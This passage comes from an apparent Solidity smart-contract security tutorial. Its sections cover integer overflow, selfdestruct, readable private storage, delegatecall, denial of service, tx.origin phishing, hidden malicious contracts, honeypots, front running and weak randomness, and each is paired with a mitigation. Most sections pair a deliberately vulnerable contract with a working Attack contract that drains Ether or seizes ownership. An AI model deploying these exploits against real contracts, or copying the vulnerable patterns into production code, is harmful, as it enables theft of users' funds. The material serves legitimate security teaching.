pragma solidity ^0.7.6;

// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for at least a week.
// User can also extend the wait time beyond the 1 week waiting period.

/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
   withdraw your ether.

What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/

contract TimeLock {
    mapping(address => uint256) public balances;
    mapping(address => uint256) public lockTime;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
        lockTime[msg.sender] = block.timestamp + 1 weeks;
    }

    function increaseLockTime(uint256 _secondsToIncrease) public {
        lockTime[msg.sender] += _secondsToIncrease;
    }

    function withdraw() public {
        require(balances[msg.sender] > 0, "Insufficient funds");
        require(block.timestamp > lockTime[msg.sender], "Lock time not expired");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
```

```
    TimeLock timeLock;

    constructor(TimeLock _timeLock) {
        timeLock = TimeLock(_timeLock);
    }

    fallback() external payable {}

    function attack() public payable {
        timeLock.deposit{value: msg.value}();
        /*
        if t = current lock time then we need to find x such that
        x + t = 2**256 = 0
        so x = -t
        2**256 = type(uint).max + 1
        so x = type(uint).max + 1 - t
        */
        timeLock.increaseLockTime(
            type(uint256).max + 1 - timeLock.lockTime(address(this))
        );
        timeLock.withdraw();
    }
}
```

Preventative Techniques

- Use SafeMath to will prevent arithmetic overflow and underflow
- Solidity 0.8 defaults to throwing an error for overflow / underflow

Explanation:

- Prior to Solidity 0.8.0, integer arithmetic silently wrapped on overflow/underflow (e.g., `uint8(255) + 1 == 0`).
- This was exploited in the BeautyChain (BEC) hack: a multiplication overflow produced a huge token amount from thin air.
- **Solidity ≥ 0.8.0** reverts automatically on overflow/underflow — no `SafeMath` needed for basic operations.
- `unchecked { ... }` blocks opt back into wrapping behavior for gas savings when you've manually verified no overflow can occur.
- Watch for: casting between types (e.g., `uint256 → uint128`) which can truncate without reverting; use explicit checks.

3.3 Self Destruct

An example of how to delete your smart contract by calling selfdestruct in Solidity

Contracts can be deleted from the blockchain by calling `selfdestruct`.

`selfdestruct` sends all remaining Ether stored in the contract to a designated address.

Vulnerability

A malicious contract can use `selfdestruct` to force sending Ether to any contract.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// The goal of this game is to be the 7th player to deposit 1 Ether.
// Players can deposit only 1 Ether at a time.
// Winner will be able to withdraw all Ether.

/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
   No one can become the winner.

What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/

contract EtherGame {
    uint256 public constant TARGET_AMOUNT = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint256 balance = address(this).balance;
        require(balance <= TARGET_AMOUNT, "Game is over");

        if (balance == TARGET_AMOUNT) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent,) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
```

```
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        // You can simply break the game by sending ether so that
        // the game balance >= 7 ether

        // cast address to payable
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}
```

Preventative Techniques

Don't rely on `address(this).balance`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract EtherGame {
    uint256 public constant TARGET_AMOUNT = 7 ether;
    uint256 public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= TARGET_AMOUNT, "Game is over");

        if (balance == TARGET_AMOUNT) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");
        uint256 amount = balance;
        balance = 0;
        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}
```

Explanation:

- `selfdestruct(recipient)` removes a contract from state and forcefully sends all its ETH to the recipient — even if the recipient has no `receive` function.
- Attack: a contract that assumes `address(this).balance` reflects only ETH sent via its own functions can be broken by forcing ETH into it via `selfdestruct`.
- Example: a game that tracks contributions in a variable but also uses `address(this).balance` for logic — the attacker manipulates the balance cheaply.
- **Fix:** never rely on `address(this).balance` for contract logic; track ETH internally with a `totalDeposited` variable.
- Note: EIP-6780 (Dencun upgrade) restricts `selfdestruct` — it no longer deletes code/storage unless called in the same transaction as deployment.

3.4 Accessing Private Data

An example of accessing private data from a Solidity smart contract

Vulnerability

All data on a smart contract can be read.

Let's see how we can read `private` data. In the process you will learn how Solidity stores state variables.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Note: cannot use web3 on JVM, so use the contract deployed on Goerli
Note: browser Web3 is old so use Web3 from truffle console

Contract deployed on Goerli
0x534E4Ce0ffF779513793cfd70308AF195827BD31
*/

/*
# Storage
- 2 ** 256 slots
- 32 bytes for each slot
- data is stored sequentially in the order of declaration
- storage is optimized to save space. If neighboring variables fit in a single
  32 bytes, then they are packed into the same slot, starting from the right
*/

contract Vault {
    // slot 0
    uint256 public count = 123;
    // slot 1
    address public owner = msg.sender;
    bool public isTrue = true;
    uint16 public u16 = 31;
    // slot 2
    bytes32 private password;

    // constants do not use storage
    uint256 public constant someConst = 123;

    // slot 3, 4, 5 (one for each array element)
    bytes32[3] public data;

    struct User {
        uint256 id;
        bytes32 password;
    }

    // slot 6 - length of array
    // starting from slot hash(6) - array elements
    // slot where array element is stored = keccak256(slot)) + (index * elementSize)
    // where slot = 6 and elementSize = 2 (1 (uint) +  1 (bytes32))
    User[] private users;

    // slot 7 - empty
    // entries are stored at hash(key, slot)
```

```
    // where slot = 7, key = map key
    mapping(uint256 => User) private idToUser;

    constructor(bytes32 _password) {
        password = _password;
    }

    function addUser(bytes32 _password) public {
        User memory user = User({id: users.length, password: _password});

        users.push(user);
        idToUser[user.id] = user;
    }

    function getArrayLocation(uint256 slot, uint256 index, uint256 elementSize)
        public
        pure
        returns (uint256)
    {
        return
            uint256(keccak256(abi.encodePacked(slot))) + (index * elementSize);
    }

    function getMapLocation(uint256 slot, uint256 key)
        public
        pure
        returns (uint256)
    {
        return uint256(keccak256(abi.encodePacked(key, slot)));
    }
}

/*
slot 0 - count
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 0, console.log)
slot 1 - u16, isTrue, owner
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 1, console.log)
slot 2 - password
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 2, console.log)

slot 6 - array length
getArrayLocation(6, 0, 2)
web3.utils.numberToHex("111414077815863400510004064629973595961579173665589224203503662149373724986687")
Note: We can also use web3 to get data location
web3.utils.soliditySha3({ type: "uint", value: 6 })
1st user
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aa
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aa
Note: use web3.toAscii to convert bytes32 to alphabet
2nd user
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aa
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aa

slot 7 - empty
getMapLocation(7, 1)
web3.utils.numberToHex("81222191986226809103279119994707868322855741819905904417953092666699096963112")
Note: We can also use web3 to get data location
web3.utils.soliditySha3({ type: "uint", value: 1 }, {type: "uint", value: 7})
user 1
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace053465ec3453ce2b36430bd138b997ecea2
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace053465ec3453ce2b36430bd138b997ecea2
*/
```

Preventative Techniques

- Don't store sensitive information on the blockchain.

Explanation:

- `private` in Solidity only means other contracts can't call it — it does NOT hide data from off-chain observers.
- Every storage slot is readable with `eth_getStorageAt(contractAddress, slot, blockNumber)`.
- Storage layout is deterministic: slot 0 = first state variable, slot 1 = second, etc. Mappings use `keccak256(key ++ slot)`.
- **Fix:** never store secrets on-chain. For commit-reveal schemes, hash the secret off-chain and reveal it later.
- Sensitive data (private keys, passwords) must NEVER be placed in contract storage or calldata.

3.5 Delegatecall

An example of exploits using delegatecall in Solidity

Vulnerability

`delegatecall` is tricky to use and wrong usage or incorrect understanding can lead to devastating results.

You must keep 2 things in mind when using `delegatecall`

1. `delegatecall` preserves context (storage, caller, etc...)
2. storage layout must be the same for the contract calling `delegatecall` and the contract getting called

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
HackMe is a contract that uses delegatecall to execute code.
It is not obvious that the owner of HackMe can be changed since there is no
function inside HackMe to do so. However an attacker can hijack the
contract by exploiting delegatecall. Let's see how.

1. Alice deploys Lib
2. Alice deploys HackMe with address of Lib
3. Eve deploys Attack with address of HackMe
4. Eve calls Attack.attack()
5. Attack is now the owner of HackMe

What happened?
Eve called Attack.attack().
Attack called the fallback function of HackMe sending the function
selector of pwn(). HackMe forwards the call to Lib using delegatecall.
Here msg.data contains the function selector of pwn().
This tells Solidity to call the function pwn() inside Lib.
The function pwn() updates the owner to msg.sender.
Delegatecall runs the code of Lib using the context of HackMe.
Therefore HackMe's storage was updated to msg.sender where msg.sender is the
caller of HackMe, in this case Attack.
*/

contract Lib {
    address public owner;

    function pwn() public {
        owner = msg.sender;
    }
}

contract HackMe {
    address public owner;
    Lib public lib;

    constructor(Lib _lib) {
        owner = msg.sender;
        lib = Lib(_lib);
    }

    fallback() external payable {
```

```
        address(lib).delegatecall(msg.data);
    }
}

contract Attack {
    address public hackMe;

    constructor(address _hackMe) {
        hackMe = _hackMe;
    }

    function attack() public {
        hackMe.call(abi.encodeWithSignature("pwn()"));
    }
}
```

Here is another example.

You will need to understand how Solidity stores state variables before you can understand this exploit.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
This is a more sophisticated version of the previous exploit.

1. Alice deploys Lib and HackMe with the address of Lib
2. Eve deploys Attack with the address of HackMe
3. Eve calls Attack.attack()
4. Attack is now the owner of HackMe

What happened?
Notice that the state variables are not defined in the same manner in Lib
and HackMe. This means that calling Lib.doSomething() will change the first
state variable inside HackMe, which happens to be the address of lib.

Inside attack(), the first call to doSomething() changes the address of lib
store in HackMe. Address of lib is now set to Attack.
The second call to doSomething() calls Attack.doSomething() and here we
change the owner.
*/

contract Lib {
    uint256 public someNumber;

    function doSomething(uint256 _num) public {
        someNumber = _num;
    }
}

contract HackMe {
    address public lib;
    address public owner;
    uint256 public someNumber;

    constructor(address _lib) {
        lib = _lib;
        owner = msg.sender;
    }
```

```
    function doSomething(uint256 _num) public {
        lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));
    }
}

contract Attack {
    // Make sure the storage layout is the same as HackMe
    // This will allow us to correctly update the state variables
    address public lib;
    address public owner;
    uint256 public someNumber;

    HackMe public hackMe;

    constructor(HackMe _hackMe) {
        hackMe = HackMe(_hackMe);
    }

    function attack() public {
        // override address of lib
        hackMe.doSomething(uint256(uint160(address(this))));
        // pass any number as input, the function doSomething() below will
        // be called
        hackMe.doSomething(1);
    }

    // function signature must match HackMe.doSomething()
    function doSomething(uint256 _num) public {
        owner = msg.sender;
    }
}
```

Preventative Techniques

- Use stateless `Library`

Explanation:

- `delegatecall` executes the callee's code in the **caller's storage context** — the callee reads/writes the proxy's storage slots.
- Storage collision: if the proxy and implementation have different variable layouts, a `delegatecall` can corrupt unintended slots.
- The Parity Wallet hack (2017, $30M) exploited this: an uninitialized library contract was `delegatecall`ed, and `initWallet` was called as a regular function, taking ownership.
- The second Parity hack: the attacker called `kill()` on the unprotected library, self-destructing it and bricking all wallets that depended on it.
- Safe usage: EIP-1967 standardizes slot positions; OpenZeppelin's `TransparentUpgradeableProxy` avoids collisions via reserved slots.

3.6 Denial of Service

An example of denial of service hack in Solidity

Vulnerability

There are many ways to attack a smart contract to make it unusable.

One exploit we introduce here is denial of service by making the function to send Ether fail.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
The goal of KingOfEther is to become the king by sending more Ether than
the previous king. Previous king will be refunded with the amount of Ether
he sent.
*/

/*
1. Deploy KingOfEther
2. Alice becomes the king by sending 1 Ether to claimThrone().
3. Bob becomes the king by sending 2 Ether to claimThrone().
   Alice receives a refund of 1 Ether.
4. Deploy Attack with address of KingOfEther.
5. Call attack with 3 Ether.
6. Current king is the Attack contract and no one can become the new king.

What happened?
Attack became the king. All new challenge to claim the throne will be rejected
since Attack contract does not have a fallback function, denying to accept the
Ether sent from KingOfEther before the new king is set.
*/

contract KingOfEther {
    address public king;
    uint256 public balance;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        (bool sent,) = king.call{value: balance}("");
        require(sent, "Failed to send Ether");

        balance = msg.value;
        king = msg.sender;
    }
}

contract Attack {
    KingOfEther kingOfEther;

    constructor(KingOfEther _kingOfEther) {
        kingOfEther = KingOfEther(_kingOfEther);
    }

    // You can also perform a DOS by consuming all gas using assert.
    // This attack will work even if the calling contract does not check
    // whether the call was successful or not.
```

```
    //
    // function () external payable {
    //     assert(false);
    // }

    function attack() public payable {
        kingOfEther.claimThrone{value: msg.value}();
    }
}
```

Preventative Techniques

One way to prevent this is to allow the users to withdraw their Ether instead of sending it.

Here is an example.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract KingOfEther {
    address public king;
    uint256 public balance;
    mapping(address => uint256) public balances;

    function claimThrone() external payable {
        require(msg.value > balance, "Need to pay more to become the king");

        balances[king] += balance;

        balance = msg.value;
        king = msg.sender;
    }

    function withdraw() public {
        require(msg.sender != king, "Current king cannot withdraw");

        uint256 amount = balances[msg.sender];
        balances[msg.sender] = 0;

        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}
```

Explanation:

- DoS via unexpected revert: if a contract iterates over addresses and calls each (e.g., distributing ETH), a malicious contract that reverts on receive can block the entire loop.
- DoS via gas limit: an unbounded array/mapping loop can exceed the block gas limit, making the function permanently uncallable.
- **Fix for revert DoS:** use pull-over-push — instead of pushing ETH to all recipients, let each recipient pull (withdraw) their own funds.
- **Fix for gas DoS:** avoid unbounded loops; paginate; use mappings instead of arrays where possible.

3.7 Phishing with tx.origin

An example of phishing with tx.origin in Solidity

What's the difference between `msg.sender` and `tx.origin`?

If contract A calls B, and B calls C, in C `msg.sender` is B and `tx.origin` is A.

Vulnerability

A malicious contract can deceive the owner of a contract into calling a function that only the owner should be able to call.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Wallet is a simple contract where only the owner should be able to transfer
Ether to another address. Wallet.transfer() uses tx.origin to check that the
caller is the owner. Let's see how we can hack this contract
*/

/*
1. Alice deploys Wallet with 10 Ether
2. Eve deploys Attack with the address of Alice's Wallet contract.
3. Eve tricks Alice to call Attack.attack()
4. Eve successfully stole Ether from Alice's wallet

What happened?
Alice was tricked into calling Attack.attack(). Inside Attack.attack(), it
requested a transfer of all funds in Alice's wallet to Eve's address.
Since tx.origin in Wallet.transfer() is equal to Alice's address,
it authorized the transfer. The wallet transferred all Ether to Eve.
*/

contract Wallet {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function transfer(address payable _to, uint256 _amount) public {
        require(tx.origin == owner, "Not owner");

        (bool sent,) = _to.call{value: _amount}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    address payable public owner;
    Wallet wallet;

    constructor(Wallet _wallet) {
        wallet = Wallet(_wallet);
        owner = payable(msg.sender);
```

```
    }

    function attack() public {
        wallet.transfer(owner, address(wallet).balance);
    }
}
```

Preventive Techniques

Use `msg.sender` instead of `tx.origin`

```
function transfer(address payable _to, uint256 _amount) public {
  require(msg.sender == owner, "Not owner");

  (bool sent, ) = _to.call{ value: _amount }("");
  require(sent, "Failed to send Ether");
}
```

Explanation:

- `tx.origin` is the original EOA that started the transaction chain; `msg.sender` is the immediate caller.
- Phishing attack: a malicious contract tricks a user into calling it; the malicious contract then calls a victim contract that uses `tx.origin` for auth — `tx.origin` is still the user.
- **Fix:** always use `msg.sender` for authentication, never `tx.origin`.
- `tx.origin` is only safe for: checking "was this called directly by an EOA?" — but even that use case is rare and mostly safe to avoid entirely.

3.8 Hiding Malicious Code with External Contract

An example of exploit where malicious code is hidden in an external contract in Solidity

Vulnerability

In Solidity, any address can be cast into specific contract, even if the contract at the address is not the one being cast.

This can be exploited to hide malicious code. Let's see how.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Let's say Alice can see the code of Foo and Bar but not Mal.
It is obvious to Alice that Foo.callBar() executes the code inside Bar.log().
However Eve deploys Foo with the address of Mal, so that calling Foo.callBar()
will actually execute the code at Mal.
*/

/*
1. Eve deploys Mal
2. Eve deploys Foo with the address of Mal
3. Alice calls Foo.callBar() after reading the code and judging that it is
   safe to call.
4. Although Alice expected Bar.log() to be executed, Mal.log() was executed.
*/

contract Foo {
    Bar bar;

    constructor(address _bar) {
        bar = Bar(_bar);
    }

    function callBar() public {
        bar.log();
    }
}

contract Bar {
    event Log(string message);

    function log() public {
        emit Log("Bar was called");
    }
}

// This code is hidden in a separate file
contract Mal {
    event Log(string message);

    // function () external {
    //     emit Log("Mal was called");
    // }

    // Actually we can execute the same exploit even if this function does
```

```
    // not exist by using the fallback
    function log() public {
        emit Log("Mal was called");
    }
}
```

Preventative Techniques

- Initialize a new contract inside the constructor
- Make the address of external contract `public` so that the code of the external contract can be reviewed

```
Bar public bar;

constructor() public {
    bar = new Bar();
}
```

3.9 Honeypot

An example of honeypot in Solidity

A honeypot is a trap to catch hackers.

Vulnerability

Combining two exploits, reentrancy and hiding malicious code, we can build a contract

that will catch malicious users.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Bank is a contract that calls Logger to log events.
Bank.withdraw() is vulnerable to the reentrancy attack.
So a hacker tries to drain Ether from Bank.
But actually the reentrancy exploit is a bait for hackers.
By deploying Bank with HoneyPot in place of the Logger, this contract becomes
a trap for hackers. Let's see how.

1. Alice deploys HoneyPot
2. Alice deploys Bank with the address of HoneyPot
3. Alice deposits 1 Ether into Bank.
4. Eve discovers the reentrancy exploit in Bank.withdraw and decides to hack it.
5. Eve deploys Attack with the address of Bank
6. Eve calls Attack.attack() with 1 Ether but the transaction fails.

What happened?
Eve calls Attack.attack() and it starts withdrawing Ether from Bank.
When the last Bank.withdraw() is about to complete, it calls logger.log().
Logger.log() calls HoneyPot.log() and reverts. Transaction fails.
*/

contract Bank {
    mapping(address => uint256) public balances;
    Logger logger;

    constructor(Logger _logger) {
        logger = Logger(_logger);
    }

    function deposit() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }

    function withdraw(uint256 _amount) public {
        require(_amount <= balances[msg.sender], "Insufficient funds");

        (bool sent,) = msg.sender.call{value: _amount}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] -= _amount;

        logger.log(msg.sender, _amount, "Withdraw");
```

```
    }
}

contract Logger {
    event Log(address caller, uint256 amount, string action);

    function log(address _caller, uint256 _amount, string memory _action)
        public
    {
        emit Log(_caller, _amount, _action);
    }
}

// Hacker tries to drain the Ethers stored in Bank by reentrancy.
contract Attack {
    Bank bank;

    constructor(Bank _bank) {
        bank = Bank(_bank);
    }

    fallback() external payable {
        if (address(bank).balance >= 1 ether) {
            bank.withdraw(1 ether);
        }
    }

    function attack() public payable {
        bank.deposit{value: 1 ether}();
        bank.withdraw(1 ether);
    }

    function getBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

// Let's say this code is in a separate file so that others cannot read it.
contract HoneyPot {
    function log(address _caller, uint256 _amount, string memory _action)
        public
    {
        if (equal(_action, "Withdraw")) {
            revert("It's a trap");
        }
    }

    // Function to compare strings using keccak256
    function equal(string memory _a, string memory _b)
        public
        pure
        returns (bool)
    {
        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}
```

Explanation:

- A honeypot looks like a vulnerable contract (e.g., appears to have a bug you can exploit) but traps would-be attackers.

- Common trick: the "vulnerability" is gated by a hidden condition in a deployed library or inherited contract not visible in the visible code.
- Example: `HoneyPot` sets a `log` contract address in storage; `Bank` uses it. The attacker sees Bank and tries to exploit re-entrancy, but `log.get()` reverts the attacker's transaction.
- Lesson: always audit ALL contracts a target depends on, including external dependencies deployed at other addresses.

3.10 Front Running

An example of a Solidity contract vulnerable to front running

Vulnerability

Transactions take some time before they are mined. An attacker can watch the transaction pool and send a transaction, have it included in a block before the original transaction. This mechanism can be abused to re-order transactions to the attacker's advantage.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Alice creates a guessing game.
You win 10 ether if you can find the correct string that hashes to the target
hash. Let's see how this contract is vulnerable to front running.
*/

/*
1. Alice deploys FindThisHash with 10 Ether.
2. Bob finds the correct string that will hash to the target hash. ("Ethereum")
3. Bob calls solve("Ethereum") with gas price set to 15 gwei.
4. Eve is watching the transaction pool for the answer to be submitted.
5. Eve sees Bob's answer and calls solve("Ethereum") with a higher gas price
   than Bob (100 gwei).
6. Eve's transaction was mined before Bob's transaction.
   Eve won the reward of 10 ether.

What happened?
Transactions take some time before they are mined.
Transactions not yet mined are put in the transaction pool.
Transactions with higher gas price are typically mined first.
An attacker can get the answer from the transaction pool, send a transaction
with a higher gas price so that their transaction will be included in a block
before the original.
*/

contract FindThisHash {
    bytes32 public constant hash =
        0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

    constructor() payable {}

    function solve(string memory solution) public {
        require(
            hash == keccak256(abi.encodePacked(solution)), "Incorrect answer"
        );

        (bool sent,) = msg.sender.call{value: 10 ether}("");
        require(sent, "Failed to send Ether");
    }
}
```

Preventative Techniques

- use commit-reveal scheme (https://medium.com/swlh/exploring-commit-reveal-schemes-on-ethereum-c4ff5a777db8)
- use submarine send (https://libsubmarine.org/)

Commit-Reveal Schemes

A commitment scheme is a cryptographic algorithm used to allow someone to commit to a value while keeping it hidden from others with the ability to reveal it later. The values in a commitment scheme are binding, meaning that no one can change them once committed. The scheme has two phases: a commit phase in which a value is chosen and specified, and a reveal phase in which the value is revealed and checked.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
   Now Let's see how to guard from front running using commit reveal scheme.
*/

/*
1. Alice deploys SecuredFindThisHash with 10 Ether.
2. Bob finds the correct string that will hash to the target hash. ("Ethereum").
3. Bob then finds the keccak256(Address in lowercase + Solution + Secret).
   Address is his wallet address in lowercase, solution is "Ethereum", Secret is like a password ("mysecret")
   that only Bob knows which Bob uses to commit and reveal the solution.
   keccak256("0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266Ethereummysecret") = '0xf95b1dd61edc3bd962cdea3987c6f55bcb7
4. Bob then calls commitSolution("0xf95b1dd61edc3bd962cdea3987c6f55bcb714a02a2c3eb73bd960d6b4387fc36"),
   where he commits the calculated solution hash with gas price set to 15 gwei.
5. Eve is watching the transaction pool for the answer to be submitted.
6. Eve sees Bob's answer and he also calls commitSolution("0xf95b1dd61edc3bd962cdea3987c6f55bcb714a02a2c3eb73bd960d
   with a higher gas price than Bob (100 gwei).
7. Eve's transaction was mined before Bob's transaction, but Eve has not got the reward yet.
   He needs to call revealSolution() with exact secret and solution, so lets say he is watching the transaction poo
   to front run Bob as he did previously
8. Then Bob calls the revealSolution("Ethereum", "mysecret") with gas price set to 15 gwei;
9. Let's consider that Eve's who's watching the transaction pool, find's Bob's reveal solution transaction and he a
   revealSolution("Ethereum", "mysecret") with higher gas price than Bob (100 gwei)
10. Let's consider that this time also Eve's reveal transaction was mined before Bob's transaction, but Eve will be
   reverted with "Hash doesn't match" error. Since the revealSolution() function checks the hash using
   keccak256(msg.sender + solution + secret). So this time eve fails to win the reward.
11.But Bob's revealSolution("Ethereum", "mysecret") passes the hash check and gets the reward of 10 ether.
*/

contract SecuredFindThisHash {
    // Struct is used to store the commit details
    struct Commit {
        bytes32 solutionHash;
        uint256 commitTime;
        bool revealed;
    }

    // The hash that is needed to be solved
    bytes32 public hash =
        0x564ccaf7594d66b1eaaea24fe01f0585bf52ee70852af4eac0cc4b04711cd0e2;

    // Address of the winner
    address public winner;

    // Price to be rewarded
    uint256 public reward;
```

```
    // Status of game
    bool public ended;

    // Mapping to store the commit details with address
    mapping(address => Commit) commits;

    // Modifier to check if the game is active
    modifier gameActive() {
        require(!ended, "Already ended");
        _;
    }

    constructor() payable {
        reward = msg.value;
    }

    /*
       Commit function to store the hash calculated using keccak256(address in lowercase + solution + secret).
       Users can only commit once and if the game is active.
    */
    function commitSolution(bytes32 _solutionHash) public gameActive {
        Commit storage commit = commits[msg.sender];
        require(commit.commitTime == 0, "Already committed");
        commit.solutionHash = _solutionHash;
        commit.commitTime = block.timestamp;
        commit.revealed = false;
    }

    /*
        Function to get the commit details. It returns a tuple of (solutionHash, commitTime, revealStatus);
        Users can get solution only if the game is active and they have committed a solutionHash
    */
    function getMySolution()
        public
        view
        gameActive
        returns (bytes32, uint256, bool)
    {
        Commit storage commit = commits[msg.sender];
        require(commit.commitTime != 0, "Not committed yet");
        return (commit.solutionHash, commit.commitTime, commit.revealed);
    }
    /*
        Function to reveal the commit and get the reward.
        Users can get reveal solution only if the game is active and they have committed a solutionHash before this
        It generates a keccak256(msg.sender + solution + secret) and checks it with the previously committed hash.
        Assuming that a commit was already included on chain, front runners will not be able to pass this check sin
        Then the actual solution is checked using keccak256(solution), if the solution matches, the winner is decla
        the game is ended and the reward amount is sent to the winner.
    */

    function revealSolution(string memory _solution, string memory _secret)
        public
        gameActive
    {
        Commit storage commit = commits[msg.sender];
        require(commit.commitTime != 0, "Not committed yet");
        require(
            commit.commitTime < block.timestamp,
            "Cannot reveal in the same block"
        );
        require(!commit.revealed, "Already committed and revealed");
```

```
        bytes32 solutionHash =
            keccak256(abi.encodePacked(msg.sender, _solution, _secret));
        require(solutionHash == commit.solutionHash, "Hash doesn't match");

        require(
            keccak256(abi.encodePacked(_solution)) == hash, "Incorrect answer"
        );

        winner = msg.sender;
        ended = true;

        (bool sent,) = payable(msg.sender).call{value: reward}("");
        if (!sent) {
            winner = address(0);
            ended = false;
            revert("Failed to send ether.");
        }
    }
}
```

Explanation:

- Front-running exploits the public mempool: an attacker sees a pending tx and submits their own with higher gas to be mined first.
- Classic example: DEX price oracle manipulation — seeing a large buy, the attacker sandwiches it (buy before, sell after) for profit.
- Commit-reveal schemes mitigate front-running: users first submit `keccak256(secret + value)`, then reveal the secret in a later block.
- **Minimizing exposure:** use time-weighted average prices (TWAP) rather than spot prices; add slippage tolerance; use private RPC endpoints (Flashbots Protect).
- Auction example in this contract: commit phase hides bids; reveal phase opens them.

3.11 Block Timestamp Manipulation

An example of a Solidity contract vulnerable to block timestamp manipulation

Vulnerability

`block.timestamp` can be manipulated by miners with the following constraints

- it cannot be stamped with an earlier time than its parent
- it cannot be too far in the future

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Roulette is a game where you can win all of the Ether in the contract
if you can submit a transaction at a specific timing.
A player needs to send 10 Ether and wins if the block.timestamp % 15 == 0.
*/

/*
1. Deploy Roulette with 10 Ether
2. Eve runs a powerful miner that can manipulate the block timestamp.
3. Eve sets the block.timestamp to a number in the future that is divisible by
   15 and finds the target block hash.
4. Eve's block is successfully included into the chain, Eve wins the
   Roulette game.
*/

contract Roulette {
    uint256 public pastBlockTime;

    constructor() payable {}

    function spin() external payable {
        require(msg.value == 10 ether); // must send 10 ether to play
        require(block.timestamp != pastBlockTime); // only 1 transaction per block

        pastBlockTime = block.timestamp;

        if (block.timestamp % 15 == 0) {
            (bool sent,) = msg.sender.call{value: address(this).balance}("");
            require(sent, "Failed to send Ether");
        }
    }
}
```

Preventative Techniques

- Don't use `block.timestamp` for a source of entropy and random number

3.12 Source of Randomness

Blockchain is not a reliable source of randomness in Solidity

Vulnerability

`blockhash` and `block.timestamp` are not reliable sources for randomness.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
NOTE: cannot use blockhash in Remix so use ganache-cli

npm i -g ganache-cli
ganache-cli
In remix switch environment to Web3 provider
*/

/*
GuessTheRandomNumber is a game where you win 1 Ether if you can guess the
pseudo random number generated from block hash and timestamp.

At first glance, it seems impossible to guess the correct number.
But let's see how easy it is win.

1. Alice deploys GuessTheRandomNumber with 1 Ether
2. Eve deploys Attack
3. Eve calls Attack.attack() and wins 1 Ether

What happened?
Attack computed the correct answer by simply copying the code that computes the random number.
*/

contract GuessTheRandomNumber {
    constructor() payable {}

    function guess(uint256 _guess) public {
        uint256 answer = uint256(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
        );

        if (_guess == answer) {
            (bool sent,) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

contract Attack {
    receive() external payable {}

    function attack(GuessTheRandomNumber guessTheRandomNumber) public {
        uint256 answer = uint256(
            keccak256(
                abi.encodePacked(blockhash(block.number - 1), block.timestamp)
            )
```

```
        );

        guessTheRandomNumber.guess(answer);
    }

